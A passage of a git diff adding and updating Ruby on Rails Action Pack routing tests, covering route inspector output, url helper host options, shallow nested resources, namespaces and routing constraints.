+          "       GET  /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
         ], output
       end
 
@@ -145,7 +171,7 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
-          %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
+          %Q[       GET  /photos/:id(.:format) photos#show {:format=>"jpg"}]
         ], output
       end
 
@@ -156,23 +182,63 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern           Controller#Action",
-          " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
         ], output
       end
 
-      class RackApp
-        def self.call(env)
+      def test_rake_routes_shows_routes_with_dashes
+        output = draw do
+          get 'about-us' => 'pages#about_us'
+          get 'our-work/latest'
+
+          resources :photos, only: [:show] do
+            get 'user-favorites', on: :collection
+            get 'preview-photo', on: :member
+            get 'summary-text'
+          end
         end
+
+        assert_equal [
+          "               Prefix Verb URI Pattern                              Controller#Action",
+          "             about_us GET  /about-us(.:format)                      pages#about_us",
+          "      our_work_latest GET  /our-work/latest(.:format)               our_work#latest",
+          "user_favorites_photos GET  /photos/user-favorites(.:format)         photos#user_favorites",
+          "  preview_photo_photo GET  /photos/:id/preview-photo(.:format)      photos#preview_photo",
+          "   photo_summary_text GET  /photos/:photo_id/summary-text(.:format) photos#summary_text",
+          "                photo GET  /photos/:id(.:format)                    photos#show"
+        ], output
       end
 
       def test_rake_routes_shows_route_with_rack_app
         output = draw do
-          get 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/
+          get 'foo/:id' => MountedRackApp, :id => /[A-Z]\d{5}/
         end
 
         assert_equal [
           "Prefix Verb URI Pattern        Controller#Action",
-          " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
+          "       GET  /foo/:id(.:format) MountedRackApp {:id=>/[A-Z]\\d{5}/}"
+        ], output
+      end
+
+      def test_rake_routes_shows_named_route_with_mounted_rack_app
+        output = draw do
+          mount MountedRackApp => '/foo'
+        end
+
+        assert_equal [
+          "          Prefix Verb URI Pattern Controller#Action",
+          "mounted_rack_app      /foo        MountedRackApp"
+        ], output
+      end
+
+      def test_rake_routes_shows_overridden_named_route_with_mounted_rack_app_with_name
+        output = draw do
+          mount MountedRackApp => '/foo', as: 'blog'
+        end
+
+        assert_equal [
+          "Prefix Verb URI Pattern Controller#Action",
+          "  blog      /foo        MountedRackApp"
         ], output
       end
 
@@ -185,24 +251,36 @@ module ActionDispatch
 
         output = draw do
           scope :constraint => constraint.new do
-            mount RackApp => '/foo'
+            mount MountedRackApp => '/foo'
           end
         end
 
         assert_equal [
-          "Prefix Verb URI Pattern Controller#Action",
-          "  /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
+          "          Prefix Verb URI Pattern Controller#Action",
+          "mounted_rack_app      /foo        MountedRackApp {:constraint=>( my custom constraint )}"
         ], output
       end
 
       def test_rake_routes_dont_show_app_mounted_in_assets_prefix
         output = draw do
-          get '/sprockets' => RackApp
+          get '/sprockets' => MountedRackApp
         end
-        assert_no_match(/RackApp/, output.first)
+        assert_no_match(/MountedRackApp/, output.first)
         assert_no_match(/\/sprockets/, output.first)
       end
 
+      def test_rake_routes_shows_route_defined_in_under_assets_prefix
+        output = draw do
+          scope '/sprockets' do
+            get '/foo' => 'foo#bar'
+          end
+        end
+        assert_equal [
+          "Prefix Verb URI Pattern              Controller#Action",
+          "   foo GET  /sprockets/foo(.:format) foo#bar"
+        ], output
+      end
+
       def test_redirect
         output = draw do
           get "/foo"    => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
@@ -212,9 +290,9 @@ module ActionDispatch
 
         assert_equal [
           "Prefix Verb URI Pattern       Controller#Action",
-          "   foo GET /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
-          "   bar GET /bar(.:format)    redirect(307, path: /foo/bar)",
-          "foobar GET /foobar(.:format) redirect(301)"
+          "   foo GET  /foo(.:format)    redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+          "   bar GET  /bar(.:format)    redirect(307, path: /foo/bar)",
+          "foobar GET  /foobar(.:format) redirect(301)"
         ], output
       end
 
@@ -241,7 +319,7 @@ module ActionDispatch
         end
 
         assert_equal ["Prefix Verb URI Pattern            Controller#Action",
-                      " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
+                      "       GET  /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
       end
     end
   end
diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb
index 0e488d2b88..fe52c50336 100644
--- a/actionpack/test/dispatch/routing/route_set_test.rb
+++ b/actionpack/test/dispatch/routing/route_set_test.rb
@@ -69,6 +69,42 @@ module ActionDispatch
         end
       end
 
+      test "only_path: true with *_url and no :host option" do
+        draw do
+          get 'foo', to: SimpleApp.new('foo#index')
+        end
+
+        assert_equal '/foo', url_helpers.foo_url(only_path: true)
+      end
+
+      test "only_path: false with *_url and no :host option" do
+        draw do
+          get 'foo', to: SimpleApp.new('foo#index')
+        end
+
+        assert_raises ArgumentError do
+          assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false)
+        end
+      end
+
+      test "only_path: false with *_url and local :host option" do
+        draw do
+          get 'foo', to: SimpleApp.new('foo#index')
+        end
+
+        assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false, host: 'example.com')
+      end
+
+      test "only_path: false with *_url and global :host option" do
+        @set.default_url_options = { host: 'example.com' }
+
+        draw do
+          get 'foo', to: SimpleApp.new('foo#index')
+        end
+
+        assert_equal 'http://example.com/foo', url_helpers.foo_url(only_path: false)
+      end
+
       test "explicit keys win over implicit keys" do
         draw do
           resources :foo do
@@ -80,11 +116,19 @@ module ActionDispatch
         assert_equal '/foo/1/bar/2', url_helpers.foo_bar_path(2, foo_id: 1)
       end
 
-      private
-        def clear!
-          @set.clear!
+      test "having an optional scope with resources" do
+        draw do
+          scope "(/:foo)" do
+            resources :users
+          end
         end
 
+        assert_equal '/users/1', url_helpers.user_path(1)
+        assert_equal '/users/1', url_helpers.user_path(1, foo: nil)
+        assert_equal '/a/users/1', url_helpers.user_path(1, foo: 'a')
+      end
+
+      private
         def draw(&block)
           @set.draw(&block)
         end
diff --git a/actionpack/test/dispatch/routing_assertions_test.rb b/actionpack/test/dispatch/routing_assertions_test.rb
index aea4489852..56ea644f22 100644
--- a/actionpack/test/dispatch/routing_assertions_test.rb
+++ b/actionpack/test/dispatch/routing_assertions_test.rb
@@ -74,10 +74,26 @@ class RoutingAssertionsTest < ActionController::TestCase
     assert_recognizes({ :controller => 'query_articles', :action => 'index', :use_query => 'true' }, '/query/articles', { :use_query => 'true' })
   end
 
+  def test_assert_recognizes_raises_message
+    err = assert_raise(Assertion) do
+      assert_recognizes({ :controller => 'secure_articles', :action => 'index' }, 'http://test.host/secure/articles', {}, "This is a really bad msg")
+    end
+
+    assert_match err.message, "This is a really bad msg"
+  end
+
   def test_assert_routing
     assert_routing('/articles', :controller => 'articles', :action => 'index')
   end
 
+  def test_assert_routing_raises_message
+    err = assert_raise(Assertion) do
+      assert_routing('/thisIsNotARoute', { :controller => 'articles', :action => 'edit', :id => '1' }, { :id => '1' }, {}, "This is a really bad msg")
+    end
+
+    assert_match err.message, "This is a really bad msg"
+  end
+
   def test_assert_routing_with_defaults
     assert_routing('/articles/1/edit', { :controller => 'articles', :action => 'edit', :id => '1' }, { :id => '1' })
   end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index e4c3ddd3f9..ca5de05814 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -14,6 +14,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     end
   end
 
+  class GrumpyRestrictor
+    def self.matches?(request)
+      false
+    end
+  end
+
   class YoutubeFavoritesRedirector
     def self.call(params, request)
       "http://www.youtube.com/watch?v=#{params[:youtube_id]}"
@@ -89,6 +95,24 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     verify_redirect 'http://www.example.com/private/index'
   end
 
+  def test_redirect_with_failing_constraint
+    draw do
+      get 'hi', to: redirect("/foo"), constraints: ::TestRoutingMapper::GrumpyRestrictor
+    end
+
+    get '/hi'
+    assert_equal 404, status
+  end
+
+  def test_redirect_with_passing_constraint
+    draw do
+      get 'hi', to: redirect("/foo"), constraints: ->(req) { true }
+    end
+
+    get '/hi'
+    assert_equal 301, status
+  end
+
   def test_namespace_with_controller_segment
     assert_raise(ArgumentError) do
       draw do
@@ -99,6 +123,16 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     end
   end
 
+  def test_namespace_without_controller_segment
+    draw do
+      namespace :admin do
+        get 'hello/:controllers/:action'
+      end
+    end
+    get '/admin/hello/foo/new'
+    assert_equal 'foo', @request.params["controllers"]
+  end
+
   def test_session_singleton_resource
     draw do
       resource :session do
@@ -328,22 +362,22 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       get 'admin/passwords' => "queenbee#passwords", :constraints => ::TestRoutingMapper::IpRestrictor
     end
 
-    get '/admin', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    get '/admin', headers: { 'REMOTE_ADDR' => '192.168.1.100' }
     assert_equal 'queenbee#index', @response.body
 
-    get '/admin', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    get '/admin', headers: { 'REMOTE_ADDR' => '10.0.0.100' }
     assert_equal 'pass', @response.headers['X-Cascade']
 
-    get '/admin/accounts', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    get '/admin/accounts', headers: { 'REMOTE_ADDR' => '192.168.1.100' }
     assert_equal 'queenbee#accounts', @response.body
 
-    get '/admin/accounts', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    get '/admin/accounts', headers: { 'REMOTE_ADDR' => '10.0.0.100' }
     assert_equal 'pass', @response.headers['X-Cascade']
 
-    get '/admin/passwords', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    get '/admin/passwords', headers: { 'REMOTE_ADDR' => '192.168.1.100' }
     assert_equal 'queenbee#passwords', @response.body
 
-    get '/admin/passwords', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    get '/admin/passwords', headers: { 'REMOTE_ADDR' => '10.0.0.100' }
     assert_equal 'pass', @response.headers['X-Cascade']
   end
 
@@ -351,8 +385,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     draw do
       controller(:global) do
         get 'global/hide_notice'
-        get 'global/export',      :to => :export, :as => :export_request
-        get '/export/:id/:file',  :to => :export, :as => :export_download, :constraints => { :file => /.*/ }
+        get 'global/export',      :action => :export, :as => :export_request
+        get '/export/:id/:file',  :action => :export, :as => :export_download, :constraints => { :file => /.*/ }
         get 'global/:action'
       end
     end
@@ -720,8 +754,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     draw do
       resources :replies do
         member do
-          put :answer, :to => :mark_as_answer
-          delete :answer, :to => :unmark_as_answer
+          put :answer, :action => :mark_as_answer
+          delete :answer, :action => :unmark_as_answer
         end
       end
     end
@@ -1031,6 +1065,136 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'users/home#index', @response.body
   end
 
+  def test_namespaced_shallow_routes_with_module_option
+    draw do
+      namespace :foo, module: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'bar/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'bar/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'bar/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', foo_comment_path('2')
+    assert_equal 'bar/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_path_option
+    draw do
+      namespace :foo, path: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/bar/posts'
+    assert_equal '/bar/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/bar/posts/1'
+    assert_equal '/bar/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/bar/posts/1/comments'
+    assert_equal '/bar/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/bar/comments/2'
+    assert_equal '/bar/comments/2', foo_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_as_option
+    draw do
+      namespace :foo, as: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', bar_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', bar_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', bar_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', bar_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_path_option
+    draw do
+      namespace :foo, shallow_path: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/bar/comments/2'
+    assert_equal '/bar/comments/2', foo_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
+  def test_namespaced_shallow_routes_with_shallow_prefix_option
+    draw do
+      namespace :foo, shallow_prefix: 'bar' do
+        resources :posts, only: [:index, :show] do
+          resources :comments, only: [:index, :show], shallow: true
+        end
+      end
+    end
+
+    get '/foo/posts'
+    assert_equal '/foo/posts', foo_posts_path
+    assert_equal 'foo/posts#index', @response.body
+
+    get '/foo/posts/1'
+    assert_equal '/foo/posts/1', foo_post_path('1')
+    assert_equal 'foo/posts#show', @response.body
+
+    get '/foo/posts/1/comments'
+    assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+    assert_equal 'foo/comments#index', @response.body
+
+    get '/foo/comments/2'
+    assert_equal '/foo/comments/2', bar_comment_path('2')
+    assert_equal 'foo/comments#show', @response.body
+  end
+
   def test_namespace_containing_numbers
     draw do
       namespace :v2 do
@@ -1048,7 +1212,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       controller :articles do
         scope '/articles', :as => 'article' do
           scope :path => '/:title', :title => /[a-z]+/, :as => :with_title do
-            get '/:id', :to => :with_id, :as => ""
+            get '/:id', :action => :with_id, :as => ""
           end
         end
       end
@@ -1102,6 +1266,19 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'projects#index', @response.body
   end
 
+  def test_scoped_root_as_name
+    draw do
+      scope '(:locale)', :locale => /en|pl/ do
+        root :to => 'projects#index', :as => 'projects'
+      end
+    end
+
+    assert_equal '/en', projects_path(:locale => 'en')
+    assert_equal '/', projects_path
+    get '/en'
+    assert_equal 'projects#index', @response.body
+  end
+
   def test_scope_with_format_option
     draw do
       get "direct/index", as: :no_format_direct, format: false
@@ -1282,7 +1459,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   def test_scoped_controller_with_namespace_and_action
     draw do
       namespace :account do
-        get ':action/callback', :action => /twitter|github/, :to => "callbacks", :as => :callback
+        get ':action/callback', :action => /twitter|github/, :controller => "callbacks", :as => :callback
       end
     end
 
@@ -1339,7 +1516,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
   def test_normalize_namespaced_matches
     draw do
       namespace :account do
-        get 'description', :to => :description, :as => "description"
+        get 'description', :action => :description, :as => "description"
       end
     end
 
@@ -1506,9 +1683,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     get '/products/0001/images/0001'
     assert_equal 'images#show', @response.body
 
-    get '/dashboard', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+    get '/dashboard', headers: { 'REMOTE_ADDR' => '10.0.0.100' }
     assert_equal 'pass', @response.headers['X-Cascade']
-    get '/dashboard', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+    get '/dashboard', headers: { 'REMOTE_ADDR' => '192.168.1.100' }
     assert_equal 'dashboards#show', @response.body
   end
 
@@ -1580,7 +1757,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       get "whatever/:controller(/:action(/:id))"
     end
 
-    get 'whatever/foo/bar'
+    get '/whatever/foo/bar'
     assert_equal 'foo#bar', @response.body
 
     assert_equal 'http://www.example.com/whatever/foo/bar/1',
@@ -1592,10 +1769,10 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       get "whatever/:controller(/:action(/:id))", :id => /\d+/
     end
 
-    get 'whatever/foo/bar/show'
+    get '/whatever/foo/bar/show'
     assert_equal 'foo/bar#show', @response.body
 
-    get 'whatever/foo/bar/show/1'
+    get '/whatever/foo/bar/show/1'
     assert_equal 'foo/bar#show', @response.body
 
     assert_equal 'http://www.example.com/whatever/foo/bar/show',
@@ -1815,6 +1992,82 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
   end
 
+  def test_shallow_nested_resources_inside_resource
+    draw do
+      resource :membership, shallow: true do
+        resources :cards
+      end
+    end
+
+    get '/membership/cards'
+    assert_equal 'cards#index', @response.body
+    assert_equal '/membership/cards', membership_cards_path
+
+    get '/membership/cards/new'
+    assert_equal 'cards#new', @response.body
+    assert_equal '/membership/cards/new', new_membership_card_path
+
+    post '/membership/cards'
+    assert_equal 'cards#create', @response.body
+
+    get '/cards/1'
+    assert_equal 'cards#show', @response.body
+    assert_equal '/cards/1', card_path('1')
+
+    get '/cards/1/edit'
+    assert_equal 'cards#edit', @response.body
+    assert_equal '/cards/1/edit', edit_card_path('1')
+
+    put '/cards/1'
+    assert_equal 'cards#update', @response.body
+
+    patch '/cards/1'
+    assert_equal 'cards#update', @response.body
+
+    delete '/cards/1'
+    assert_equal 'cards#destroy', @response.body
+  end
+
+  def test_shallow_deeply_nested_resources
+    draw do
+      resources :blogs do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    get '/comments/1'
+    assert_equal 'comments#show', @response.body
+
+    assert_equal '/comments/1', comment_path('1')
+    assert_equal '/blogs/new', new_blog_path
+    assert_equal '/blogs/1/posts/new', new_blog_post_path(:blog_id => 1)
+    assert_equal '/blogs/1/posts/2/comments/new', new_blog_post_comment_path(:blog_id => 1, :post_id => 2)
+  end
+
+  def test_direct_children_of_shallow_resources
+    draw do
+      resources :blogs do
+        resources :posts, shallow: true do
+          resources :comments
+        end
+      end
+    end
+
+    post '/posts/1/comments'
+    assert_equal 'comments#create', @response.body
+    assert_equal '/posts/1/comments', post_comments_path('1')
+
+    get '/posts/2/comments/new'
+    assert_equal 'comments#new', @response.body
+    assert_equal '/posts/2/comments/new', new_post_comment_path('2')
+
+    get '/posts/1/comments'
+    assert_equal 'comments#index', @response.body
+    assert_equal '/posts/1/comments', post_comments_path('1')
+  end
+
   def test_shallow_nested_resources_within_scope
     draw do
       scope '/hello' do
@@ -1876,6 +2129,65 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal 'notes#destroy', @response.body
   end
 
+  def test_shallow_option_nested_resources_within_scope
+    draw do
+      scope '/hello' do
+        resources :notes, :shallow => true do
+          resources :trackbacks
+        end
+      end
+    end
+
+    get '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#index', @response.body
+    assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+
+    get '/hello/notes/1/edit'
+    assert_equal 'notes#edit', @response.body
+    assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+
+    get '/hello/notes/1/trackbacks/new'
+    assert_equal 'trackbacks#new', @response.body
+    assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+
+    get '/hello/trackbacks/1'
+    assert_equal 'trackbacks#show', @response.body
+    assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+
+    get '/hello/trackbacks/1/edit'
+    assert_equal 'trackbacks#edit', @response.body
+    assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+
+    put '/hello/trackbacks/1'
+    assert_equal 'trackbacks#update', @response.body
+
+    post '/hello/notes/1/trackbacks'
+    assert_equal 'trackbacks#create', @response.body
+
+    delete '/hello/trackbacks/1'
+    assert_equal 'trackbacks#destroy', @response.body
+
+    get '/hello/notes'
+    assert_equal 'notes#index', @response.body
+
+    post '/hello/notes'
+    assert_equal 'notes#create', @response.body
+
+    get '/hello/notes/new'
+    assert_equal 'notes#new', @response.body
+    assert_equal '/hello/notes/new', new_note_path
+
+    get '/hello/notes/1'
+    assert_equal 'notes#show', @response.body
+    assert_equal '/hello/notes/1', note_path(:id => 1)
+
+    put '/hello/notes/1'
+    assert_equal 'notes#update', @response.body
+
+    delete '/hello/notes/1'
+    assert_equal 'notes#destroy', @response.body
+  end
+
   def test_custom_resource_routes_are_scoped
     draw do
       resources :customers do
@@ -1888,7 +2200,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
         end
         resources :invoices do
           get "outstanding" => "invoices#outstanding", :on => :collection
-          get "overdue", :to => :overdue, :on => :collection
+          get "overdue", :action => :overdue, :on => :collection
           get "print" => "invoices#print", :as => :print, :on => :member
           post "preview" => "invoices#preview", :as => :preview, :on => :new
         end
@@ -1976,6 +2288,22 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal '/api/1.0/users/first.last.xml', api_user_path(:version => '1.0', :id => 'first.last', :format => :xml)
   end
 
+  def test_match_without_via
+    assert_raises(ArgumentError) do
+      draw do
+        match '/foo/bar', :to => 'files#show'
+      end
+    end
+  end
+
+  def test_match_with_empty_via
+    assert_raises(ArgumentError) do
+      draw do
+        match '/foo/bar', :to => 'files#show', :via => []
+      end
+    end
+  end
+
   def test_glob_parameter_accepts_regexp
     draw do
       get '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/
@@ -2031,12 +2359,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
       get "(/user/:username)/photos" => "photos#index"
     end
 
-    get 'user/bob/photos'
+    get '/user/bob/photos'
     assert_equal 'photos#index', @response.body
     assert_equal 'http://www.example.com/user/bob/photos',
       url_for(:controller => "photos", :action => "index", :username => "bob")
 
-    get 'photos'
+    get '/photos'
     assert_equal 'photos#index', @response.body
     assert_equal 'http://www.example.com/photos',
       url_for(:controller => "photos", :action => "index", :username => nil)
@@ -2549,7 +2877,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     end
   end
 
-  def test_symbolized_path_parameters_is_not_stale
+  def test_path_parameters_is_not_stale
     draw do
       scope '/countries/:country', :constraints => lambda { |params, req| %w(all France).include?(params[:country]) } do
         get '/',       :to => 'countries#index'
@@ -2714,7 +3042,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     end
 
     assert_raise(ArgumentError) do
-      draw { controller("/feeds") { get '/feeds/:service', :to => :show } }
+      assert_deprecated do
+        draw { controller("/feeds") { get '/feeds/:service', :to => :show } }
+      end
     end
 
     assert_raise(ArgumentError) do
@@ -2851,23 +3181,331 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert !@request.params[:action].frozen?
   end
 
+  def test_multiple_positional_args_with_the_same_name
+    draw do
+      get '/downloads/:id/:id.tar' => 'downloads#show', as: :download, format: false
+    end
+
+    expected_params = {
+      controller: 'downloads',
+      action:     'show',
+      id:         '1'
+    }
+
+    get '/downloads/1/1.tar'
+    assert_equal 'downloads#show', @response.body
+    assert_equal expected_params, @request.path_parameters
+    assert_equal '/downloads/1/1.tar', download_path('1')
+    assert_equal '/downloads/1/1.tar', download_path('1', '1')
+  end
+
+  def test_absolute_controller_namespace
+    draw do
+      namespace :foo do
+        get '/', to: '/bar#index', as: 'root'
+      end
+    end
+
+    get '/foo'
+    assert_equal 'bar#index', @response.body
+    assert_equal '/foo', foo_root_path
+  end
+
+  def test_namespace_as_controller
+    draw do
+      namespace :foo do
+        get '/', to: '/bar#index', as: 'root'
+      end
+    end
+
+    get '/foo'
+    assert_equal 'bar#index', @response.body
+    assert_equal '/foo', foo_root_path
+  end
+
+  def test_trailing_slash
+    draw do
+      resources :streams
+    end
+
+    get '/streams'
+    assert @response.ok?, 'route without trailing slash should work'
+
+    get '/streams/'
+    assert @response.ok?, 'route with trailing slash should work'
+
+    get '/streams?foobar'
+    assert @response.ok?, 'route without trailing slash and with QUERY_STRING should work'
+
+    get '/streams/?foobar'
+    assert @response.ok?, 'route with trailing slash and with QUERY_STRING should work'
+  end
+
+  def test_route_with_dashes_in_path
+    draw do
+      get '/contact-us', to: 'pages#contact_us'
+    end
+
+    get '/contact-us'
+    assert_equal 'pages#contact_us', @response.body
+    assert_equal '/contact-us', contact_us_path
+  end
+
+  def test_shorthand_route_with_dashes_in_path
+    draw do
+      get '/about-us/index'
+    end
+
+    get '/about-us/index'
+    assert_equal 'about_us#index', @response.body
+    assert_equal '/about-us/index', about_us_index_path
+  end
+
+  def test_resource_routes_with_dashes_in_path
+    draw do
+      resources :photos, only: [:show] do
+        get 'user-favorites', on: :collection
+        get 'preview-photo', on: :member
+        get 'summary-text'
+      end
+    end
+
+    get '/photos/user-favorites'
+    assert_equal 'photos#user_favorites', @response.body
+    assert_equal '/photos/user-favorites', user_favorites_photos_path
+
+    get '/photos/1/preview-photo'
+    assert_equal 'photos#preview_photo', @response.body
+    assert_equal '/photos/1/preview-photo', preview_photo_photo_path('1')
+
+    get '/photos/1/summary-text'
+    assert_equal 'photos#summary_text', @response.body
+    assert_equal '/photos/1/summary-text', photo_summary_text_path('1')
+
+    get '/photos/1'
+    assert_equal 'photos#show', @response.body
+    assert_equal '/photos/1', photo_path('1')
+  end
+
+  def test_shallow_path_inside_namespace_is_not_added_twice
+    draw do
+      namespace :admin do
+        shallow do
+          resources :posts do
+            resources :comments
+          end
+        end
+      end
+    end
+
+    get '/admin/posts/1/comments'
+    assert_equal 'admin/comments#index', @response.body
+    assert_equal '/admin/posts/1/comments', admin_post_comments_path('1')
+  end
+
+  def test_mix_string_to_controller_action
+    draw do
+      get '/projects', controller: 'project_files',
+                       action: 'index',
+                       to: 'comments#index'
+    end
+    get '/projects'
+    assert_equal 'comments#index', @response.body
+  end
+
+  def test_mix_string_to_controller
+    draw do
+      get '/projects', controller: 'project_files',
+                       to: 'comments#index'
+    end
+    get '/projects'
+    assert_equal 'comments#index', @response.body
+  end
+
+  def test_mix_string_to_action
+    draw do
+      get '/projects', action: 'index',
+                       to: 'comments#index'
+    end
+    get '/projects'
+    assert_equal 'comments#index', @response.body
+  end
+
+  def test_shallow_path_and_prefix_are_not_added_to_non_shallow_routes
+    draw do
+      scope shallow_path: 'projects', shallow_prefix: 'project' do
+        resources :projects do
+          resources :files, controller: 'project_files', shallow: true
+        end
+      end
+    end
+
+    get '/projects'
+    assert_equal 'projects#index', @response.body
+    assert_equal '/projects', projects_path
+
+    get '/projects/new'
+    assert_equal 'projects#new', @response.body
+    assert_equal '/projects/new', new_project_path
+
+    post '/projects'
+    assert_equal 'projects#create', @response.body
+
+    get '/projects/1'
+    assert_equal 'projects#show', @response.body
+    assert_equal '/projects/1', project_path('1')
+
+    get '/projects/1/edit'
+    assert_equal 'projects#edit', @response.body
+    assert_equal '/projects/1/edit', edit_project_path('1')
+
+    patch '/projects/1'
+    assert_equal 'projects#update', @response.body
+
+    delete '/projects/1'
+    assert_equal 'projects#destroy', @response.body
+
+    get '/projects/1/files'
+    assert_equal 'project_files#index', @response.body
+    assert_equal '/projects/1/files', project_files_path('1')
+
+    get '/projects/1/files/new'
+    assert_equal 'project_files#new', @response.body
+    assert_equal '/projects/1/files/new', new_project_file_path('1')
+
+    post '/projects/1/files'
+    assert_equal 'project_files#create', @response.body
+
+    get '/projects/files/2'
+    assert_equal 'project_files#show', @response.body
+    assert_equal '/projects/files/2', project_file_path('2')
+
+    get '/projects/files/2/edit'
+    assert_equal 'project_files#edit', @response.body
+    assert_equal '/projects/files/2/edit', edit_project_file_path('2')
+
+    patch '/projects/files/2'
+    assert_equal 'project_files#update', @response.body
+
+    delete '/projects/files/2'
+    assert_equal 'project_files#destroy', @response.body
+  end
+
+  def test_scope_path_is_copied_to_shallow_path
+    draw do
+      scope path: 'foo' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/foo/comments/1', comment_path('1')
+  end
+
+  def test_scope_as_is_copied_to_shallow_prefix
+    draw do
+      scope as: 'foo' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal '/comments/1', foo_comment_path('1')
+  end
+
+  def test_scope_shallow_prefix_is_not_overwritten_by_as
+    draw do
+      scope as: 'foo', shallow_prefix: 'bar' do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
